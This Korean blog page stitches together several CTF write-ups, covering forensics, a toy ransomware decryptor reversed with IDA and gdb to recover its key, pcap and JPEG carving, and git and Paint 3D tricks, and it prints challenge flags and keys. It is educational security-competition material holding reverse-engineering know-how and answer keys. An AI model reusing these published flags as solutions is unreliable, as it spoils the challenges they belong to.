8. 선물문제(저놈 잡아라)

gift


pass




9. 피보다진한...?

forensics


pass




10. restore

misc


포토샵 노가다 하면 풀린다고 한다.

파워노가다




11. Easy_Forensics(2)

forensics


이미지를 찾아라! 폴더에서 Flag_Image.png파일을 stegsolve.jar 프로그램 돌리면 플래그 이미지가 나온다.


바탕화면에 HxD 깔려있어서 hex로 별짓 다했던 문제..ㅠㅠ



12. Easy_Forensics(4)

flag.zip파일을 더블클릭하면 셧다운이 예약된다. 반디집 프로그램 자체를 실행하면 셧다운이 걸리는 것인데.

이렇게 만드는 파이썬 코드와 파이썬 코드를 실행하는 쉘을 각각 유저/공용/음악폴더와 시작프로그램 폴더에서 찾을 수 있다.

그리고 모르겠다..


12. Flag Leaked


com.android.provider.telephony/ 이쪽에 mmssms.db라는 파일이 있다. db뷰어로 이 파일을 보면 메세지 내용을 확인 할 수 있다.


메세지에 담긴 링크로 암호화된 문자열이 있는 flag.txt  와 이를 복호화해주는 apk파일, pw 문자열을 얻을 수 있다.


flag.txt를 Download폴더에 넣고, 폰에 앱을 설치해 복호화를 시도했는데, 실패했다...

반응형

'CTF Write Up' 카테고리의 다른 글

제 1회 TRUST CTF write up  (0) 2019.02.18
NeverLAN CTF 2019 write up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
반응형

MISC 50

REVERSING 50

WEB 50

FORENSICS 50 100 150

[2018] 제16회 청소년 정보보호 페스티벌(YISF)_문제풀이보고서_M4ndU.zip
2.07MB

pw:1234

반응형

'CTF Write Up' 카테고리의 다른 글

NeverLAN CTF 2019 write up  (0) 2019.02.04
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
반응형

KYSIS CTF 2018 Write-Up


M4ndU



작성일 : 2018.08.07 18:07

공개일 : 2018.08.14 17:11

(7일이나 지났는데 올려도 되겠지...)




WEB - read flag




문제 사이트에 들어가면 alert()가 무한루프 돌아서 아무것도 안된다.



그냥 크롬 설정 - 콘텐츠 설정 - 자바스크립트 에서 차단하고 들어간뒤


페이지 소스보기로 플래그를 확인할 수 있다.








REVERSING - Simple Ransomware




파일이 두개 주어진다.

하나는 플래그가 암호화된 파일이고, 다른 하나는 복호화를 해주는 elf파일이다.




아이다 64비트로 열어서 보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
signed __int64 __fastcall main(int a1, char **a2, char **a3)
{
  signed __int64 result; // rax@2
  const char *v4; // rdi@3
 
  if ( a1 == 2 )
  {
    v4 = a2[1];
    if ( !strcmp(v4, "start") )
    {
      sub_400C2F();
      s = sub_400BA0();
      v4 = sub_400B54();
      if ( (unsigned int)sub_400B12((const char *)s) )
        sub_400C66(s);
      else
        sub_400C66(s);
    }
    result = 0LL;
  }
  else
  {
    result = 0xFFFFFFFFLL;
  }
  return result;
}
cs


메인함수다.


  if ( a1 == 2 )

  {

    v4 = a2[1];

    if ( !strcmp(v4, "start") )


인자값으로 start를 주어야 한다.


 sub_400C2F();


1
2
3
4
5
6
7
8
9
int sub_400C2F()
{
  char *v0; // rax@1
 
  v0 = sub_400BFA();
  printf("welcome %s\n", v0);
  puts("I want to Decrypt File!!!!");
  return puts("Maybe you find simple key.. file will be decrypt..");
}
cs


key를 찾으라고 한다.



s = sub_400BA0();


1
2
3
4
5
6
7
8
void *sub_400BA0()
{
  s = malloc(0xAuLL);
  memset(s, 0, 0xAuLL);
  printf("what is key ? ", 0LL);
  gets(s);
  return s;
}
cs


key값을 입력받아서 s에 저장한다.



v4 = sub_400B54();

이 코드는 왜 있는지 잘 모르겠다.



      if ( (unsigned int)sub_400B12((const char *)s) )

        sub_400C66(s);

      else

        sub_400C66(s);


if가 True이든 False이든 같은 작업을 하는데, sub_400C66()함수는 암호화된 파일을 복호화 하는 함수이고

sub_400B12()함수에서 입력했던 key값을 비교한다.


1
2
3
4
5
6
7
__int64 __fastcall sub_400B12(const char *a1)
{
  const char *v1; // rax@1
 
  LODWORD(v1) = sub_400AA5();
  return strcmp(v1, a1) == 0;
}
cs


gdb로 열어서 strcmp에 breakpoint 걸고 v1의 값을 확인해보면 key값을 얻을 수 있다.



해당 부분은 0x400B3D이고 인자의 주소가 각각 rsi, rdi에 저장되어 있다.


mandu@mandu-VirtualBox:~/바탕화면$ gdb -q Let_Decrypt

Reading symbols from Let_Decrypt...(no debugging symbols found)...done.

(gdb) b * 0x400B3D

Breakpoint 1 at 0x400b3d

(gdb) r start

Starting program: /home/mandu/바탕화면/Let_Decrypt start

welcome mandu

I want to Decrypt File!!!!

Maybe you find simple key.. file will be decrypt..

what is key ? b


Breakpoint 1, 0x0000000000400b3d in ?? ()

(gdb) info reg rsi

rsi            0x604620 6309408

(gdb) info reg rdi

rdi            0x604640 6309440

(gdb) x/s 0x604640

0x604640: "OPENTHEDOOR"

(gdb) x/s 0x604620

0x604620: "b"


키를 구했다.


mandu@mandu-VirtualBox:~/바탕화면$ ./Let_Decrypt start
welcome mandu
I want to Decrypt File!!!!
Maybe you find simple key.. file will be decrypt..
what is key ? OPENTHEDOOR
INPUT : decrypt file name : flag.KYSIS

INPUT new file : flag 


Success Decrypt Good Luck!
mandu@mandu-VirtualBox:~/바탕화면$ cat flag
Hello flag is KYSIS{1T's_S1mpl3_R4nsomw4re}




NETWORK - Net -- Work


pcap파일이 주어지는데 여기서 추출가능한 파일은 1개의 jpg파일과 7개의 cab파일이 있다.


처음에 cab파일들을 분석하는 삽질을 하다가 많은 분들이 푸신걸 보고 이 루트가 아니구나 판단. (애초에 60점짜리..)


jpg파일에서 KYSIS를 검색하니 플래그가 있었다..







FORENSIC - Oriental medicine




.001파일이 주어진다.


.001파일은 AccessData FTK Imager로 열 수 있다.



힌트를 보면 찾아야할 파일은 jpeg파일이다.


jpeg파일 시그니처는 이렇다.



FF D8 FF E0로는 나오지 않아서 4A 46 49 46으로 검색했다.




jpeg파일의 footer 시그니처는 FF D9이므로 FF D9를 찾아서 HxD로 복사했다.


그렇지만 시그니처를 제대로 보면 FF FF FF E0로 되어있다. 두번째 FF 를 D8로 바꾸면 파일이 제대로 열린다.




맥 짚는중...ㅋㅋ


근데 플래그 인증이 안된다...


왜 그런가 보니


위에 내용이 더 있었다........

이 값들을 추가해주고 md5 돌려서 플래그 인증했다.






대회 종료후 풀이보고 다시 푼 문제들의 풀이들:

반응형

'CTF Write Up' 카테고리의 다른 글

2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
H3X0R 4rd CTF 2018 [easy_png] Write-up  (0) 2018.06.14
반응형

H3X0R CTF에서 못 풀어보았던 문제들을 다시 풀고 그 풀이를 적어보았습니다.



3D



윈도우의 3D paint === 그림판 3D의 프로젝트 파일들이다.





그림판 3D를 실행시킨다.




다른이름으로 저장에서 그림판 3D 프로젝트로 저장을 클릭한다.




아무이름으로 저장한다.

그리고 그림판 3D를 종료한다.




그림판 3D의 프로젝트 파일이 위치한 경로로 이동한다.

%localappdata%\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\LocalState\Projects



Checkpoint 라는 폴더가 생성되어 있다.




해당 폴더의 파일들을 모두 문제 파일들로 덮어쓴다.




다시 그림판 3D를 실행하고 아까 저장해두었던 프로젝트를 연다.




상단에 3D보기를 활성화하고 글자와 상자를 옆으로 치운다. 

그리고 플래그를 뒤집는다. 하단의 회전도구를 이용해 180도 돌려주었다.




3D보기를 비활성화 한다. 그러면 플래그가 보인다.


FLAG : H3X0R{So_Useful_Paint_3D}

'}'가 없지만.. 채워준다.





Git Advance1




git reflog를 본다. 

d819cad 가 FLAG_COMMIT 이다.




git checkout d819cad를 하고 git log를 보면




flag를 찾을 수 있다.


FLAG : h3x0r{g1t_g1t_dhtrlt_lets_g1t}


반응형

'CTF Write Up' 카테고리의 다른 글

YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
KDMHS CTF 2018 Write-up  (0) 2018.06.18
H3X0R 4rd CTF 2018 [easy_png] Write-up  (0) 2018.06.14
CODEGATE 2018 OPEN CTF Write-up  (0) 2018.04.06

+ Recent posts